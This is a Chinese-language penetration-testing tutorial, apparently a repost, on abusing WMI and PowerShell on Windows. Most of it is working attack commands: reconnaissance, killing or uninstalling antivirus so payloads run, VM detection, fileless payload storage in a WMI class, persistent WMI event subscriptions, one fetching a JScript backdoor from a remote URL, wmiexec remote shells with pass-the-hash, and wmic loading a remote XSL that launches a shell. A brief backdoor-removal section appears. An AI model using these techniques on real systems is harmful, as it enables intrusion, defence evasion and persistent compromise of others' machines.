内容简介:WMI可以描述为一组管理Windows系统的方法和功能。我们可以把它当作API来与Windows系统进行相互交流。WMI在渗透测试中的价值在于它不需要下载和安装, 因为WMI是Windows系统自带功能。而且整个运行过程都在计算机内存中发生,不会留下任何痕迹。
WMI
WMI可以描述为一组管理Windows系统的方法和功能。我们可以把它当作API来与Windows系统进行相互交流。WMI在渗透测试中的价值在于它不需要下载和安装, 因为WMI是Windows系统自带功能。而且整个运行过程都在计算机内存中发生,不会留下任何痕迹。
检索系统信息
检索系统已安装的软件
wmic product list brief |more
搜索系统运行服务
wmic service list brief |more
搜索运行中的程序
wmic process list brief |more
搜索启动程序
wmic startup list brief |more
搜索共享驱动盘
wmic netuser list brief |more
搜索用户名
wmic useraccount list brief |more
搜索计算机域控制器
wmic ntdomain list brief
搜索登录用户
wmic logon list brief |more
搜索已安装的安全更新
wmic qfe list brief |more
执行任务
WMIC不仅仅只是用于检索系统信息。在渗透测试中, 使用适当的命令,它也可以执行各种有用的任务。
卸载和重新安装程序
在渗透测试中, 我们经常遇到反病毒程序阻止payload运行。 这时候我们可以通过WMIC命令来卸载反病毒程序。
wmic product where "name like '%Office%'" get name wmic product where name="Office" call uninstall
运行程序管理
上面我们提到卸载反病毒程序来运行payload。 但是有时候我们没有足够的权限去卸载程序。 这时我们可以通过WMIC命令来停止运行反病毒服务。
-
第一步, 找到反病毒程序
wmic process where "name like '%forti%'" get name
- 第二步, 通过WMIC命令来停止运行反病毒服务
wmic process where name="FortiTray.exe" call terminate
Powershell
自从PowerShell的出现,WMI功能已经被完全整合到了PowerShell里面。在PowerShell中, WMI拥有多个类型的种类,每个种类都代表一个内部组件:Win32_proces代表当前系统所运行程序。 Win32_Service代表当前系统所运行服务等等。
侦查
操作系统相关信息
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_OperatingSystem Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_ComputerSystem Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_BIOS
文件/目录列表
Get-WmiObject -Namespace ROOT\CIMV2 -Class CIM_DataFile
磁盘卷列表
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Volume
注册表操作
Get-WmiObject -Namespace ROOT\DEFAULT -Class StdRegProv Push-Location HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run Get-ItemProperty OptionalComponents
当前进程
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Process
列举服务
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Service
日志
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_NtLogEvent
登陆账户
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_LoggedOnUser
共享
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Share
补丁
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_QuickFixEngineering
杀毒软件
Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct
虚拟机检测
(1)判断TotalPhysicalMemory和NumberOfLogicalProcessors
$VMDetected = $False
$Arguments = @{
Class = 'Win32_ComputerSystem'
Filter = 'NumberOfLogicalProcessors < 2 AND TotalPhysicalMemory < 2147483648'
}
if (Get-WmiObject @Arguments) {
$VMDetected = $True
"In vm"
}
else{
"Not in vm"
}
(2)判断虚拟机进程
$VMwareDetected = $False
$VMAdapter = Get-WmiObject Win32_NetworkAdapter -Filter 'Manufacturer LIKE
"%VMware%" OR Name LIKE "%VMware%"'
$VMBios = Get-WmiObject Win32_BIOS -Filter 'SerialNumber LIKE "%VMware%"'
$VMToolsRunning = Get-WmiObject Win32_Process -Filter 'Name="vmtoolsd.exe"'
if ($VMAdapter -or $VMBios -or $VMToolsRunning)
{ $VMwareDetected = $True
"in vm"
}
else
{
"not in vm"
}
存储payload
【管理员权限】
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,
$null)
$StaticClass.Name = 'Win32_EvilClass'
$StaticClass.Put()
$StaticClass.Properties.Add('EvilProperty' , "This is payload")
$StaticClass.Put()
Tips:
可加密存储于此位置,执行时解密运行,达到硬盘不存文件的效果
隐蔽定时启动程序
【管理员权限】
$filterName = 'BotFilter82'
$consumerName = 'BotConsumer23'
$exePath = 'C:\Windows\System32\notepad.exe'
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE
TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=
$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=
$WMIEventFilter;Consumer=$WMIEventConsumer}
查看进程:
每60s执行一次notepad.exe
远程下载js脚本
通过远程下载js脚本,进行命令调用
#!powershell
$filterName = 'filtP1'
$consumerName = 'consP1'
$Command ="GetObject(""script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test"")"
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
$WMIEventConsumer = Set-WmiInstance -Class ActiveScriptEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ScriptingEngine='JScript';ScriptText=$Command}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
WMI后门检测及清除
查看当前WMI Event
【管理员权限】
#List Event Filters Get-WMIObject -Namespace root\Subscription -Class __EventFilter #List Event Consumers Get-WMIObject -Namespace root\Subscription -Class __EventConsumer #List Event Bindings Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
清除后门
【管理员权限】
#Filter Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='BotFilter82'" | Remove-WmiObject -Verbose #Consumer Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='BotConsumer23'" | Remove-WmiObject -Verbose #Binding Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%
wmiexec.vbs
WMIEXEC是用VBS脚本调用WMI来模拟psexec的功能
WMIEXEC支持两种模式,一种是半交互式 shell 模式,另一种是执行单条命令模式。
WMIEXEC需要提供账号密码进行远程连接,但是如果没有破解出账号密码,也可以配合WCE的hash注入功能一起使用,先进行hash注入,然后再使用WMIEXEC即可。
半交互shell模式
提供账号密码,执行如下命令:
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 username password
这样就获得了一个半交互式的shell,这个shell和psexec的shell没什么区别。之所以称为半交互式,是因为这个shell也不能执行实时交互的命令,和psexec是一样的。
如果有时候我们抓取到的是hash,破解不了时可以利用WCE的hash注入,然后再执行WMIEXEC(不提供账号密码)就可以了。
利用wce抓取hash:
wce -l
利用wce进行hash注入:
wce -s Administrator:WIN-2003:F67CE55AC831223DC187B8085FE1D9DF:45A524862326CB9E7D85AF4017A000F0
单个命令执行的模式
这个模式适用于只需要执行一个命令,或者说当前的环境不是交互式shell,没法运行WMIEXEC的shell模式时(比如在webshell里面)。
cscript.exe wmiexec.vbs /cmd 192.168.1.1 username password "command"
wmic调用xsl文件
本地:
wmic process list /FORMAT:evil.xsl
远程:
wmic os get /FORMAT:"https://example.com/evil.xsl"
xsl文件内容如下:
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
]]> </ms:script>
</stylesheet>
wmic os get /format:"https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xsl"
执行成功,成功弹出计算器,如下图
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Types and Programming Languages
Benjamin C. Pierce / The MIT Press / 2002-2-1 / USD 95.00
A type system is a syntactic method for automatically checking the absence of certain erroneous behaviors by classifying program phrases according to the kinds of values they compute. The study of typ......一起来看看 《Types and Programming Languages》 这本书的介绍吧!